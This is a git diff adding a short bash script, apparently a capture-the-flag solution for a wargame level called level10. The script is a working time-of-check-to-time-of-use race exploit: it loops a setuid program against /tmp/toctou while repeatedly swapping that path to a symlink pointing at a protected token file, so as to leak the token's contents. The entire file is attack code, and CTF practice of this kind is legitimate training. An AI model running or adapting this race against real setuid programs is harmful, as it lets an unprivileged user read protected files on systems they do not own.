diff --git a/level10/ressources/toctou.sh b/level10/ressources/toctou.sh
new file mode 100644
index 0000000..2127ab8
--- /dev/null
+++ b/level10/ressources/toctou.sh
@@ -0,0 +1,17 @@
+#!/bin/env bash
+
+INPUT="/home/user/level10/token"
+OUTPUT="/tmp/toctou"
+PROGRAM="/home/user/level10/level10"
+
+touch $OUTPUT
+
+while true; do $PROGRAM $OUTPUT 127.0.0.1; done &
+
+while ! test -r $OUTPUT; do
+	rm -f $OUTPUT
+	touch $OUTPUT
+	rm -rf $OUTPUT
+	ln -s $INPUT $OUTPUT
+done
+